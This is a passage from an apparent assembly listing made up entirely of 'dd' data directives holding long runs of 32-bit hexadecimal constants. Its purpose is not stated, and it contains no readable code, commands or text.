0C67C52h dd 9DA75C88h, 0C9D2AB7Eh, 0B6D3B90Eh, 0DA6783F3h, 2C809429h dd 0F0DFE1F9h, 0FFA00096h, 5C910C8Eh, 721C23BAh, 3E80603Dh dd 94969C25h, 61C30040h, 9D19C152h, 4579CEBFh, 0A8C8A00h dd 7C83DC3Fh, 7B78006Fh, 4D27D955h, 1F4CEFCEh, 383F035Bh dd 0E0DB152Eh, 2CE4C479h, 8010EE6Dh, 0A9621DC1h, 84129051h dd 880611BCh, 921FA8Eh, 21DA3AF9h, 14809809h, 2DA87945h dd 4EBB420Ch, 1D81807h, 99A06096h, 20E00C80h, 1CB05A28h dd 0F7B27h, 17AEEF5Ch, 396700A5h, 0C0D6F571h, 0B609A4A0h dd 4046F29Bh, 0A8178154h, 0FFDEC4h, 0AB9FEA64h, 0B45DAAE5h dd 3BEDD812h, 77456403h, 7CD2A833h, 0F970007Fh, 94105223h dd 0EFB0BB17h, 0F8E6F704h, 0C280E1CDh, 38479DDEh, 0F9F17Fh dd 0EE8258A1h, 0C057C938h, 20084C2Fh, 9F1DDB8Ch, 0FD6901BFh dd 608D187Fh, 468824EBh, 4A44D100h, 0D8DB3E2Ch, 5D7F48h dd 0F63F26BEh, 1B9987A3h, 6B780500h, 55F037BAh, 24935CECh dd 0CCE0800h, 5B9EBDD7h, 2C3E683Ch, 2C3C324Ah, 560FECAFh dd 58DEA090h, 0E17EB19h, 4E8CB052h, 1F452860h, 0C138259Eh dd 9DDF8027h, 7DD9213Fh, 0DBF4333Ch, 77F02FF0h, 2501A1D0h dd 63DD969Eh, 58F4AFC8h, 814E0EF1h, 0EC359AB9h, 1398E076h dd 0C0EFD0FFh, 238C4A64h, 612C0C00h, 0CB902997h, 6AF80009h dd 0FE459B55h, 0E7000DCFh, 12EE2D5Fh, 14A803Bh, 0E0B1ABB3h dd 0BE866BB0h, 40B70688h, 3D68EB98h, 0F48372DFh, 0CB38E869h dd 0F593D000h, 0D9DA6341h, 730F019Ah, 0AD3B696Eh, 0C58A30F1h dd 168DC200h, 0C75D5275h, 0B2A000BAh, 8037EAF7h, 192C1825h dd 0EE020ADAh, 52AF70B8h, 0C83F00C8h, 83F66FECh, 21091317h dd 64A3713Ch, 22C44330h, 8AE240DAh, 0F83A1F44h, 0D98D0017h dd 262BFA4Fh, 3D0036B3h, 67A91C7Eh, 3FB2A835h, 92BBE349h dd 0E778038Eh, 718C96C0h, 16008034h, 21E2845Ch, 7461CF83h dd 0FC219DBEh, 2E530E12h, 0E3215406h, 838E0020h, 0E2C9DEC0h dd 0A2032F62h, 89EE7B5Eh, 27ED80F7h, 10CF029Bh, 0A0713D21h dd 321D68A4h, 6604D2h, 0BC8668AFh, 5CF8A8E3h, 0C023F8B0h dd 97411A70h, 0C7F8E5C4h, 8C0FB1Fh, 0B9BEECC1h, 0BFD42BAFh dd 0AE671322h, 0D9142041h, 460F5584h, 0A0DD21E5h, 6E495EA1h dd 93FEC8h, 0F366BAFCh, 9C7141D7h, 0A0CC2F50h, 5C45EA2Eh dd 1BB0033Dh, 0C618C737h, 32F206B1h, 11E9C693h, 2022ED00h dd 0A5E17506h, 1E250159h, 6E975EDCh, 52B0D005h, 0CAEBA800h dd 71CE7BD7h, 50BF07F6h, 0CC4139A4h, 87F8DAA9h, 6CCE1200h dd 72D874DCh, 40686117h, 0C43F6934h, 0BE07770Ch, 11711684h dd 688E6790h, 413839ECh, 308749E0h, 1607E4BBh, 0EB29C04Ch dd 78AC3F80h, 890F0175h, 41DD077Dh, 8E3180E7h, 6657E56Dh dd 0E45E00B9h, 39E2835Ch, 0E00EE81Eh, 5470E7FDh, 13F33BDFh dd 0F4B462AAh, 40F41869h, 885249FCh, 57005798h, 0A4BEC4D3h dd 4C6A3FC6h, 0F0B525Ch, 701B2E8h, 0CFE7F2BAh, 0AD1FEEF0h dd 0ED2FA000h, 5BD130AAh, 904A0E9Dh, 480BF594h, 84552880h dd 5F07D74Eh, 6734DAE6h, 0E8CBB950h, 0D218006Eh, 0B8E5C7A0h dd 1A00FEC3h, 82EECDCh, 0CEE1F6h, 0D5D1B4FAh, 68AE81Bh dd 0E230D860h, 6988C25h, 7D787937h, 0AAF870ABh, 80F504A5h dd 8809AC36h, 0D560F9BBh, 3D8F8C18h, 9CA20053h, 0FAA976C1h dd 6BB86629h, 0C6F328C0h, 228DAAA5h, 0D5223FF5h, 0F3DB2279h dd 22C7D722h, 0D94239B2h, 21FD4A11h, 0C422085Bh, 8284ED90h dd 3CBF4AFFh, 90C07B08h, 8BA08491h, 1014A34Ah, 8219ED6h dd 79FF76Ah, 2FFC22E2h, 2811A942h, 80B218Eh, 0BD9034ABh dd 48986384h, 3647426Fh, 0A7216124h, 44D81799h, 107522F8h dd 37899B7Dh, 3044D508h, 84138879h, 0F5E62A72h, 65644B00h dd 0BFD85E56h, 0A34200BBh, 117B0F23h, 467BAEA5h, 0EF0C9707h dd 0DB0762Dh, 1C1DA8Eh, 27AA6EA2h, 0F7DD68B1h, 7EF8F180h dd 6221EF00h, 0FFACABDCh, 0E5510003h, 6808487Ah, 91FA6E59h dd 0A2F4CC00h, 0F2AD5E89h, 71D8283Ch, 0F98703FDh, 1337060Eh dd 3DD56990h, 50005FF2h, 0BDDBA5E4h, 54705Bh, 7E781CE1h dd 53ADA0B3h, 20017A98h, 0F6FC63E3h, 0ACC8B19Ah, 3F370014h dd 65358C8Ah, 9200B7CCh, 1964BCA9h, 4B0583Dh, 990AEA83h dd 0BF04D0C3h, 0AE00F646h, 17975204h, 3007C834h, 29800282h dd 0C1381991h, 0A4BB0005h, 0B5DA40D9h, 3C82EC53h, 29002A35h dd 69EA4C18h, 0F81DF03Ch, 90A84D83h, 4103260h, 9E8C93h dd 1FAC9B9h, 0EB220ABFh, 85733900h, 0D29F4CB7h, 9079C2h dd 542444A7h, 956F0D94h, 6400B890h, 0FB67E4F1h, 83493Ah dd 74D4579Ah, 0EE40EF8Ah, 2A9FBF01h, 6FA2C585h, 62C08C54h dd 7EFEDBh, 0BC4E3AFFh, 65D77713h, 0AB805F00h, 52794273h dd 1F0BE22Fh, 4E68769Eh, 33EE033h, 0EFFF6D4Ch, 0C1048580h dd 0A1D90A07h, 11A509BAh, 0E84A8C00h, 28F5D7CBh, 0EEF80C07h dd 0E29D3833h, 2357DF80h, 1688B77h, 3FDA2400h, 39DC262Dh dd 0D9460B3Dh, 91015B03h, 0E81A3C78h, 900086CAh, 0DBED17DAh dd 675720h, 6DB8A3ACh, 375CE8B7h, 0A5C52901h, 6BEDAE50h dd 925E19E0h, 9EE01038h, 677107D2h, 0EC205CD6h, 0F5B3A9Ch dd 1BBCEAF8h, 236DEE0h, 0B4B82FB0h, 1DD92400h, 0DCB107A1h dd 0CCC500B6h, 0BE1CA8Ch, 4D005DBDh, 48BE4E6h, 0EE9D5046h dd 4BFF0086h, 25BF6365h, 721F2332h, 8F128977h, 0D7E22400h dd 58D55BBAh, 0B5005C45h dd 88A8EFA6h, 72009102h, 0E1CB5F6Ch, 3F561DBh, 9F5A400Eh dd 72DE24FCh, 52118B0Fh, 816F603Fh, 48C713D8h, 2E16B001h dd 0A3EA00BFh, 0D04659B1h, 0E04AEF04h, 8BC09EB5h, 58F3A90h dd 54D53264h, 0DFD000D3h, 813E9751h, 46E36A04h, 74886852h dd 1F057F74h, 80FB9AB2h, 17C87C0h, 20017748h, 7FA089F8h dd 9C2097E9h, 7D260040h, 117980Fh, 33B8EC82h, 5306D200h dd 1B05F75Ch, 0C3BC07A6h, 601458ACh, 0ED976B3Fh, 0E0BB022Eh dd 28FEB09h, 20BC3368h, 8B8DF15Ah, 9B721000h, 2606B392h dd 90B97794h, 97EC3C21h, 2B084009h, 0BE906C07h, 0F24E87C0h dd 0F40CAB44h, 0E89A1194h, 3ACAE099h, 10E0F39Dh, 9E7EB27h dd 97F68F03h, 0D8A9E552h, 0CAFEF8h, 88B1737h, 66B9D770h dd 0F70F7B00h, 0FBEECEDBh, 53F095h, 0B86F62C4h, 3F836CA1h dd 38C8D400h, 0FF699FE7h, 0C7417CC6h, 0F773D268h, 3780F989h dd 92A4CB50h, 1B8C2802h, 60D7D6FFh, 0F72A848h, 4B4AEA9Fh dd 0A12BD800h, 613884D3h, 0B059809Eh, 0A3C57998h, 98E9F26Ch dd 17B29h, 0C0F3D4D7h, 0B3D9DC3Ch, 270910C0h, 0F032D92h dd 0C6BCD26Eh, 571B08E7h, 23A44CA3h, 0E06DA405h, 0B400BF3Eh dd 0AF22BBA9h, 83340F87h, 7FC0DF0Eh, 0C475DA8Bh, 29366000h dd 0FA13DBEh, 826400C0h, 0E43C3A31h, 0A20398D3h, 167B6E41h dd 0B6CBB8A0h, 83F2D9h, 22C982A6h, 3166EB1Eh, 4A714Ch dd 5480E191h, 0F636E3A1h, 942F00D8h, 0D94D083Ah, 0E6FACF1Fh dd 35017FEh, 60483A0h, 1B3FD388h, 0C160ACC7h, 4A3758h dd 82FE13A6h, 0EDF69C6Ch, 0D13F0900h, 2D83566Fh, 0BA1D03AAh dd 0A8653BE1h, 19F701F0h, 4C00D5E4h, 4588D2C1h, 78ABB6FFh dd 0DA09004Bh, 2CAA1F21h, 0A2C04496h, 61C4C92h, 7D9B00E4h dd 88D812A8h, 0F0E33A9h, 0E160BF16h, 0B3FD23F2h, 866DE4h dd 10FF4E04h, 28331CA4h, 6B0067FCh, 0B7E2E830h, 5445A8h dd 78B67EFDh, 0D09C6FE0h, 8A6A8505h, 90C0D6BBh, 13E5AF54h dd 4E18FD0Ah, 80BEFC28h, 28AD43B2h, 170038C4h, 37D9698Ah dd 267810h, 8F8E821Bh, 68B3E4E8h, 5243CE00h, 91763DCCh dd 0ACA92687h, 849A28EBh, 2C9402BCh, 73A50F2Fh, 0D49004CBh dd 0B3009C5Bh, 64D0F623h, 4C30748Ah, 6D01004Eh, 6F9B77D6h dd 9C2BFCAEh, 3AF0F00h, 0AD1962B8h, 1F047C74h, 0C0862D2Fh dd 63802465h, 2100B264h, 0ED2E36C1h, 0A15F3Ah, 8EFEE54Dh dd 67BAB193h, 41803B00h, 696C6196h, 3F6B01D1h, 122BD636h dd 74DECCE3h, 7E943400h, 507C4A41h, 0E5D0E1EDh, 0E67606h dd 6E39E0B2h, 0DDF4FA3Ah, 0AEF54200h, 0D9FB7123h, 953F0006h dd 31BC5707h, 2C000FB9h, 700C3A32h, 163E9Ch, 0A4497BE2h dd 5AF6383Ch, 8C00B892h, 0E127DB7Ah, 28589652h, 0D0D0EBh dd 23B65EA4h, 9B16C9CDh, 0E9AD6D01h, 0BD7381DEh, 0E86C30h dd 289ABA25h, 0D6684061h, 0FFB2B900h, 631518BFh, 707E0019h dd 8613E382h, 0D0ABB0C1h, 30CA99C1h, 71007478h, 4327C381h dd 0C4428Ch, 38456A9Bh, 4CE4A5E5h, 0DA335D03h, 8893D479h dd 0F627C228h, 8BBE0073h, 6F0E0C5Ch, 154C9BA9h, 7C5E036Ch dd 0E0D563CDh, 0B5EB05h, 226AA00Bh, 0C4FFC2A8h, 262C075Ch dd 0A300550Ah, 86E21DDFh, 5E963A13h, 307C4701h, 0F418F8CCh dd 0B501D42Ch, 0EF2242F9h, 71ECF491h, 475A00A7h, 55F5EEA8h dd 0D700D887h, 0DBB4E4CFh, 3B401E50h, 0D680304Dh, 0C0B6C40Fh dd 2B009BF0h, 0E463EA41h, 0F23F07C5h, 7896038Bh, 29D54360h dd 203EC9F1h, 59008DD5h, 0B29F2AA0h, 0DCF91Ch, 7CD98C7Eh dd 68AA67C1h, 4E00CAF4h, 0CAFA287h, 76A13ECh, 0D68E0F71h dd 305A8737h, 0D1E31789h, 7CBD4226h, 99002516h, 1F481BCAh dd 546300ABh, 895705EBh, 9CB1DC47h, 439A2500h, 0F5AD01DAh dd 0CF60FCh, 0FACD3714h, 1B2F89F6h, 5DC24004h, 7CC09D35h dd 0FB1A5B5h, 36C879D3h, 26343B40h, 5E488849h, 657601A8h dd 80390E95h, 4C4D20h, 0D1E88D8Ch, 222862ECh, 4627F700h dd 2B197A51h, 0B1A800B5h, 0BCD1AD50h, 2C00A0D4h, 46B309D5h dd 72B81Fh, 57458AB2h, 7354FB6Bh, 0A8F2BC00h, 0C2063E8Eh dd 0ECD50062h, 0F6E2E6CDh, 0D1038BBDh, 346E3CB8h, 6376A022h dd 0DF7F00DDh, 2D8A9346h, 0AC00DC72h, 1F92B244h, 6814F0h dd 0CDF60755h, 88CEF24Fh, 0F9212905h, 0A840FBC3h, 9357460Dh dd 37601262h, 0CF604073h, 443FA29Eh, 1E359B2Ch, 0A462CD00h dd 0C57741h, 0E7D8181Eh, 9224FF63h, 8470DE00h, 85098833h dd 0A88050EDh, 6A1D119Dh, 0FDAB1EEBh, 58154B00h, 13904Dh dd 0ADD02AB9h, 0EFC9ED54h, 0B7EB0401h, 377CA235h, 380A61D8h dd 0B68721E4h, 8584450Bh, 0AE5CC059h, 74489413h, 24C703B9h dd 90FDD634h, 0DFA1ECh, 6A50FA0Fh, 0F1D8B24Ah, 10AAB000h dd 0CA0D1ACDh, 3A7393h, 7EBE774h, 9C378454h, 0C1561100h dd 2E951401h, 0B174C4h, 8B3BF330h, 4E72163Ah, 0A303C9F6h dd 0D74FA4CAh, 3BDFC0E2h, 48CE30E4h, 0DAA0B210h, 0CCDBC1Fh dd 4DF9E100h, 3B2E5E69h, 0AD004AC7h, 8F6E02C6h, 0D9076D48h dd 3EF34C2Ch, 71ACAF10h, 30FC39A9h, 9D835380h, 6B963580h dd 2592AE0Fh, 8BC821BDh, 0F055A933h, 17201700h, 39B30780h dd 0E8D0D2F2h, 0EBE0015h, 0EFD873BBh, 0E4006B09h, 19C6F6BAh dd 78224C10h, 29394C2Dh, 8E4ACC02h, 0EE40263Dh, 0A60084DFh dd 78E70A5Dh, 0AD014BCh, 87456D10h, 362500E8h, 0E52047E2h dd 957B1E00h, 2F603F55h, 6B450049h, 1731185Fh, 0B6001D4Ah dd 0B235E0E5h, 0DDBCEDh, 57A4AC56h, 0D27993DBh, 0E0897500h dd 0BD5CA581h, 820B00EDh, 0F6F1A7EAh, 0B6F04A6Dh, 0FD953900h dd 0F2A41A76h, 0D2AA12B9h, 0DF7C8801h, 457AB300h, 9DF8F118h dd 1D370016h, 5761D3F9h, 4492A1B6h, 6D336800h, 0C79D087Ch dd 42744CDDh, 0A205C938h, 0C0B25486h, 3B1C32F1h, 6C8CC800h dd 0AF0AD8B7h, 0E7B40056h, 6118CE21h, 5000728Fh, 2CD12553h dd 0B146A3h, 0E92139C5h, 7FBB7D1Ch, 78338F3Fh, 63533A00h dd 2023E25Bh, 0A3C22AFAh, 0D6C55CD0h, 283B5909h, 0AB464A0h dd 69007FA7h, 0FD5202E0h, 4E04EA49h, 555AD0BAh, 0AF0003F0h dd 0DA6D573Bh, 6CC2A17h, 0BD6227FBh, 0D509E996h, 684992C6h dd 0F8B4AF04h, 0C25D019Ah, 0B1ECE632h, 68E0DFF0h, 0A8A1AE54h dd 9570201Eh, 68AC58h, 9705FE14h, 0D01A24h, 7B6E092Dh dd 64E5FF33h, 10B47750h, 73C08506h, 0F1006FAh, 0D81A1EB5h dd 47BF9300h, 0E8C0FEB7h, 888CC3AAh, 0F27A004Eh, 63733DC4h dd 6DF208CDh, 0B4D9FF00h, 3C805F64h, 0A3F7000Bh, 671BBC40h dd 100713Fh, 0B3DEA51Eh, 3667035h, 490E63E0h, 0A4B00383h dd 0BF00D37Fh, 85805E81h, 3175792h, 0C32BF0BEh, 8003EEE1h dd 89D97294h, 22383A27h, 9709F9D8h, 0E8875A8Ah, 0D61A0047h dd 2C0186E3h, 832908A8h, 0A438C4EDh, 87BEA400h, 7527A5F9h dd 26117203h, 0E9B6F8B3h, 0DFA3A0h, 6A975A58h, 863D3073h dd 99669000h, 3F09620Ch, 61E000D3h, 2ED539Bh, 4C02C8A0h dd 8667F792h, 128E607Dh, 96E4C7h, 0EADB6E46h, 4EFA5008h dd 5561A500h, 0FDCCC4F8h, 1E37DF4h, 0B9F11F4Fh, 300BC0D2h dd 0D71C5384h, 6F5703DBh, 0A0CFDC00h, 3B5EB3CBh, 10818CE1h dd 4E068EBEh, 0BDFAD0A3h, 0A40E3F00h, 0AFDE308h, 0F4961D22h dd 699D809Bh, 3E1E1A63h dd 0B3043B00h, 2237DA26h, 977EC9h, 0B0DFFCA3h, 0A011336Ch dd 8312C33Bh, 78BFF31Ch, 322488DAh, 0CE390052h, 14365D2Fh dd 0F04809B1h, 0BFBE00CCh, 7E4488D3h, 0AB65012Dh, 9CC0143Ch dd 0F4EFCCC7h, 4E3A9400h, 92B332Fh, 6BDC049Eh, 80D7A7E9h dd 0BD5E216Ch, 5EBC48h, 58ABA250h, 17F42D27h, 23DCA22h dd 0C5CF44FCh, 0EAEFF7E0h, 0F3B5EE00h, 0C13B72F9h, 0D50B0089h dd 803E8A01h, 81002374h, 0C89A055Ah, 0C7C56Ch, 0E7E5B746h dd 0F5E41DCCh, 0FC20300h, 29E2A413h, 77C30071h, 7C50655Fh dd 1C004E94h, 0AFFA9AB0h, 1E15C76h, 5B4C06D5h, 40501785h dd 6CA3CDB3h, 2D006DFEh, 14F5EDA9h, 9F90D6h, 0E8F39566h dd 6517B9Bh, 0F1AF5600h, 35087438h, 776FAFBh, 0D4DB8A50h dd 474680C8h, 0A003CC0h, 96A46E7Eh, 3B139C0Dh, 0D78049A1h dd 0E3E5CA6Ah, 580E871Ch, 0C041C47Bh, 77E5610h, 0C771623h dd 98620018h, 4DF2C7CAh, 6164AE07h, 0FF90C6FAh, 5A917Fh dd 0F478187Eh, 15241759h, 6FFAFC00h, 4AAF8C0h, 0CA7B0FD1h dd 70E70C30h, 0CB4493F4h, 6F5D57C8h, 87B3CC00h, 90228E6h dd 0EA8B2C51h, 0B624FCh, 43FF45B7h, 1A902720h, 7054E01Ch dd 0A487807Eh, 6E75ADE6h, 1F40BC58h, 889632h, 3F4DE0F9h dd 13FC8E43h, 7B073B0Bh, 0EC4000D7h, 0B87C31h, 0DB4CD163h dd 0F4876AF7h, 1732B38h, 8B81E551h, 48384EC3h, 2DABFD00h dd 0DF2F4D05h, 907AD702h, 6043CA8Ah, 0F2B404h, 32CD43Fh dd 51941CC4h, 91745C31h, 5E705406h, 0A34C0083h, 0BCF22C05h dd 1500F87Eh, 0AE7627E6h, 0A2B879h, 78B2CAE3h, 0E712FE5Dh dd 0A375F200h, 9B6F749Ah, 701E0079h, 0DE8FC99Dh, 2E4CAC15h dd 4EE90018h, 0A93E4F16h, 7868077Ch, 8EAAB8ECh, 70D55C60h dd 4F0009E5h, 57A6A7E4h, 108AFB3h, 111CE642h, 0D0B8F1B6h dd 0A5007CAAh, 7F37C4E0h, 1CB1863h, 92D4EBF3h, 609BBD32h dd 0B6070C15h, 220FDE35h, 0C10551D0h, 0CDAE011Bh, 0CB377A8Bh dd 68F02063h, 0EA2E8100h, 0EEA9B43Bh, 7ABB00A2h, 7736CF8Eh dd 228F008h, 662F90FEh, 0AE340440h, 581298B0h, 6F3F8762h dd 0EAF7F681h, 0DCE164AFh, 0DB00FB1Eh, 0AA68A3C0h, 0CAC127h dd 0AB56827Fh, 5D7AF2DDh, 1B331916h, 3BC22C00h, 4C72D97Dh dd 2F0EB424h, 9AE49CFCh, 4076C743h, 5161E3Dh, 2D48E001h dd 68A87935h, 2D273D4h, 6EE32BF1h, 40E0A645h, 48034A4Bh dd 1EFCC621h, 5F6AB832h, 1DAEFCD9h, 0C0697441h, 669C5D2Dh dd 0B050791h, 83D4E380h, 4EC42481h, 1F20CBF4h, 0A6E8FC38h dd 80671D41h, 548D9F7Fh, 0BA0A0CDDh, 0EB4ADE21h, 0ADA8D001h dd 4420B376h, 5E4FEEEh, 2EEF63D6h, 0BB5BC2DEh, 892FC0C0h dd 2C17EA03h, 0A7443F3Eh, 0CF5A9AF0h, 0A17B1Bh, 85EC6A29h dd 30101390h, 0B02A1D28h, 81458803h, 88F763E8h, 0FEF8F6h dd 8F86387Bh, 0B9D6363Dh, 0D0219E2Ch, 20BA3F0Fh, 0F6577B29h dd 2C25387Eh, 0BB8F10BDh, 405845F9h, 0D17B3FB9h, 68239700h dd 565078B3h, 705B0E0Eh, 0A04E6A76h, 4C308560h, 59EE10F5h dd 4495B703h, 0A0252FC3h, 70A46D29h, 0E13C2C82h, 9F720734h dd 7A6C0E0h, 0FD02E67Ah, 8405C987h, 2F60C09Ch, 0F01F0093h dd 0C50E6915h, 4266DEAh, 51009047h, 6A9416B2h, 0BDC003Dh dd 7476D990h, 0DD003B77h, 0D4D7BFCEh, 986C38AAh, 0C7950EEDh dd 22602910h, 1A0A834Ah, 0FF0D4017h, 0BA615800h, 0D3E595h dd 58CFD48Ch, 0E7AF4A8Bh, 1F481903h, 0E82542FCh, 7967633h dd 126A169h, 0D5B520EAh, 6C007772h, 2FF29C70h, 1CF57AA8h dd 0C0AC2098h, 2668D055h, 0D800620Eh, 3D60452h, 123F5Ah dd 2E89E54Eh, 0A52C5B91h, 9EE16C09h, 0C92C80A6h, 24DC31Ah dd 2EA3141Fh, 6870407Fh, 0BE4552Ch, 0DE5D8907h, 4E7AE00h dd 5A1200A2h, 0BFB307DCh, 0CE165E42h, 0A000361Bh, 0A2B95624h dd 82A6018Fh, 65FCC269h, 1B64745Bh, 0CFD0F400h, 0F86DCC33h dd 1F3B00DAh, 4862DFD7h, 0CD00E935h, 60FA21Ah, 7E32EEEh dd 0A045BD26h, 0ADA61028h, 923EFB70h, 34CB9F2Fh, 0C49A6830h dd 0CCC0484h, 80810619h, 0EFF9A29Ch, 68D2A900h, 57520A46h dd 185803CCh, 0B10312F0h, 0E7FFA000h, 1B70990Ch, 9FF605C9h dd 0E00591ADh, 0FF00F020h, 7014BF01h, 678F99h, 58D987CEh dd 5BBAB1DEh, 3E965603h, 786E8B1Eh, 8A4409E0h, 14802535h dd 0EB4547CBh, 1C10939h, 2B1EF050h, 91EF34D2h, 0D8805F63h dd 26121631h, 66032EC5h, 0B7CA436Eh, 0EE2BF07Ah, 57B200B9h dd 350BB152h, 4A0024D0h, 9C0A88A9h, 5BF839h, 865FFB3Ch dd 4CD28147h, 40E38300h, 4661BB43h, 0F6D9011Bh, 53C1971Fh dd 0C760094h, 3FB01CCh, 5779E451h, 80A24662h, 689C52h dd 0D3270746h, 0B11F26h, 3DE1DF5Bh, 8379F13Ah, 0F5442400h dd 5E80BF15h, 21E6007Fh, 139B0E29h, 3359C4CFh, 82B80400h dd 84A8392Eh, 0CC895309h, 4DE4F100h, 464A0959h, 0E254400h dd 38A33E94h, 6F806314h, 5F19F439h, 1612B626h, 90D0A5E5h dd 8A805867h, 3DD45C60h, 2A09ECF0h, 200A1075h, 0AB91F638h dd 3C9094A4h, 5930DCB0h, 18001CD3h, 19D960A0h, 0EF880B6h dd 9AF0B158h, 3B64C3FFh, 0D124E993h, 940FDC85h, 75BC8714h dd 0DE657FA1h, 0F354002Eh, 0AB939B49h, 1A87440Bh, 0CFF4007Dh dd 0A10FF9h, 0BBEEDF2Eh, 0B8ADF666h, 8747D1F5h, 42CA68Ch dd 9B80CF87h, 5E55B5h, 61A4B6A1h, 0EC17FF54h, 0A227EB18h dd 0B63DF468h, 93F200B8h, 88D2BC34h, 55007773h, 0C7BAAF58h dd 45B23Bh, 0E552A771h, 0D5E1D083h, 0C1019002h, 584A1D29h dd 24F7F840h, 0F63F28h, 1EB4C966h, 8DE2F852h, 0E2844A0h dd 96128000h, 5CBFD1C3h, 0DAE90086h, 0A049C20Ch, 0BA1D462Fh dd 0A1B016D4h, 6731CBh, 0C3B8C957h, 1B1174CCh, 69770800h dd 3FCB973Bh, 4C7F2Eh, 4FE1A4ACh, 0C98F02E2h, 0CFCA3E00h dd 9138EB14h, 0AC4D00B4h, 0DA6441A0h, 9858B15Bh, 65D81276h dd 1E19F4C1h, 0C0DE6AF4h, 1828B711h, 130039DCh, 3C9CC9A4h dd 30CD53F9h, 84A1D557h, 80A886D8h, 2A0404B0h, 6F09A54Ah dd 0D46B1480h, 6EBA0077h, 0A4BB027Dh, 550C68CAh, 40A1BFB8h dd 0E1C56073h, 40B6B1BCh, 82FCB305h, 0F4D069B2h, 0E3D9F8h dd 40BCF0Dh, 0B439ABEBh, 0A80A0C02h, 49CAFE80h, 0A03FF088h dd 0C41655F9h, 540556AEh, 9300C152h, 430BB62Bh, 13A20029h dd 0D3A69477h, 0E1005E84h, 0DC879605h, 32BA9FEh, 782C3732h dd 0DBC9296Ch, 1AC0FFF4h, 86007AD7h, 0B3D209E3h, 9076CEh dd 1431D823h, 0B6A5413Fh, 380AD600h, 0E0F28715h, 489B00D5h dd 3595D8F0h, 16014AB4h, 43B1F840h, 0E6405E1Fh, 19864A0h dd 7FC63725h, 706B6FFCh, 0D09C5DDh, 82BADBC1h, 0E8A7AD2Ch dd 10D7C034h, 0ECE321h, 6AD8013Eh, 1A2153Ah, 0C403ACD1h dd 0F8259662h, 4405F838h, 72459E9Ch, 9E880F4h, 8A4D65A8h dd 813DD484h, 0C079EA12h, 3000D92Bh, 0F50FA19h, 3EEFE8Eh dd 3B7E3501h, 5B981613h, 2A00BCD7h, 714CE274h, 98151Fh dd 36C78C8Ah, 0F2E5B00Fh, 0F9007C70h, 27566478h, 3AF32BAh dd 667BF88Ch, 37C87062h, 2090F6DDh, 150134B0h, 93B7449Fh dd 94726A16h, 359D90Ah, 0AC8F00F8h, 727F3ACDh, 0DE81F600h dd 3E58A3D0h, 0E1AA0230h, 24D9A127h, 81698080h, 0B2005FA6h dd 2D7A7C82h, 0F0646C49h dd 31AA09E6h, 0C401B628h, 0C83616CDh, 0ED1306BEh, 6C40761Fh dd 0C108E88Ah, 20A79738h, 3093C0DDh, 5D14A094h, 1FEEBDB8h dd 5200574Bh, 0A790F155h, 959300E1h, 0B54D75EBh, 0CCE6FAABh dd 0C330997Bh, 0C527DA63h, 0CD7500F9h, 9282674Fh, 6E00F137h dd 259EFA44h, 0B04D0CD0h, 23F80000h, 0DB0EE259h, 0A4044272h dd 937815CBh, 0C5CE9880h, 0F7712C37h, 0B01FE590h, 183066E5h dd 20FF485Bh, 9E10758h, 0C03807D6h, 0A64175D4h, 2F1D9D09h dd 0DCB02016h, 965EF830h, 0BEDA00A4h, 0C4836158h, 7A723A00h dd 89B0CD7Bh, 21B00E3h, 34498679h, 0A4001C05h, 56DC3EF6h dd 0FA07C0C9h, 118CB34Dh, 0FF400167h, 52EB811Eh, 8CAEB450h dd 0F1570625h, 887EC10Eh, 2839E203h, 0B3A0CEBDh, 548DC835h dd 0FFF4161Eh, 81180024h, 92669511h, 0E003A6F8h, 0E1795F93h dd 2D690247h, 0C61132DAh, 607FE641h, 7902AF80h, 5A8B0BC0h dd 820E875h, 0CFA214EDh, 85CB402Eh, 80785D84h, 0E39774EEh dd 80F6442Ch, 54D9D000h, 166FFDB6h, 8B323FC4h, 48F60024h dd 196F7427h, 211B0F1h, 434507FFh, 78C828B1h, 0E808C0F0h dd 876328Bh, 0C292DB16h, 0A6A3D700h, 17F7B199h, 0BD4740h dd 0DE33547Ch, 8C00D02Dh, 0F503B80Ch, 0A4473799h, 1FB90060h dd 0EB312968h, 2501CF78h, 48791272h, 0C468ADC5h, 50955D05h dd 0A84408Bh, 0F38293E7h, 3A5C7470h, 0CC3B1834h, 1247A191h dd 4071BAA5h, 0FBD19014h, 67000DE0h, 528328B8h, 19E47F1h dd 3E6CD8Ch, 24D5458Ah, 77007124h, 20AC386Ch, 90616h, 27685CB3h dd 0A7FCB566h, 80F080E3h, 0B7DF71D9h, 0FD94001Ah, 47D76276h dd 14486BF9h, 1E0E7A64h, 4237ADAAh, 0D9EBFA94h, 0E0A6080h dd 0A35BCC9Dh, 0A076740Fh, 65CEDD3Ch, 0B34F309Eh, 78C13FFAh dd 0BB47D101h, 0FBE251F2h, 9E18092Eh, 2D958880h, 1603C329h dd 0BEC92E13h, 0D5DCD883h, 883B00A1h, 0E6AD89E5h, 809ECB0h dd 20DB1CA6h, 3CF8F4C6h, 6B5161Eh, 23FF00CFh, 0E6771601h dd 99266100h, 91FDD8C0h, 10180078h, 5687A1C2h, 7D00DCA7h dd 9952155h, 2D47B869h, 0B080A4D4h, 1863292h, 0BAB2C0A0h dd 0A7BDF11Ch, 0EAA404A5h, 3DD9F488h, 0F0801631h, 0B1D6204h dd 0C804D181h, 0F140C632h, 0FEC0A4C0h, 0F36F00FFh, 60CA9E30h dd 0AD018142h, 45921E13h, 0A5F359CCh, 6131EAC2h, 0E9E48263h dd 6AF71363h, 74090F0h, 0EA053E7Ah, 85462568h, 3F24A480h dd 0F307795h, 0D738DBAFh, 36D5EC1h, 0F292DC8Ch, 0BE691900h dd 2406CD1Fh, 6CA30116h, 0FD0C1D4Ah, 6AA0D451h, 0FB6B6701h dd 0DD41E8F7h, 34EF2F8h, 20997FFFh, 9AF90DAEh, 3002DF74h dd 0A46D5DB5h, 3F058FCh, 66853A41h, 25F8C173h, 0D10E6186h dd 60EC68F8h, 194F0711h, 6AA90140h, 93CB5329h, 0FFF834D7h dd 73D1E43Eh, 0EE679100h, 50F9C9Fh, 49C90773h, 6021444Ah dd 0E385326Dh, 909B48h, 536545BCh, 58C43018h, 2317DFF3h dd 8778010Fh, 0CCD54D14h, 80BF5A42h, 128B92Ch, 0AB1E00B4h dd 4F66B63h, 4A03FE5Ch, 0F26646E7h, 0D2AAE89Ch, 0A29000D7h dd 1F3956B5h, 8B260FBEh, 178034EBh, 0F9E09F08h, 1590395h dd 364B78CCh, 9A6AC180h, 1A7DFF00h, 1633CE34h, 25F2019Bh dd 0E77C299Dh, 445911E6h, 880EC23h, 311A8568h, 0EB05F21Fh dd 4C6E0F80h, 90695D92h, 0DFA10700h, 40FAE6BCh, 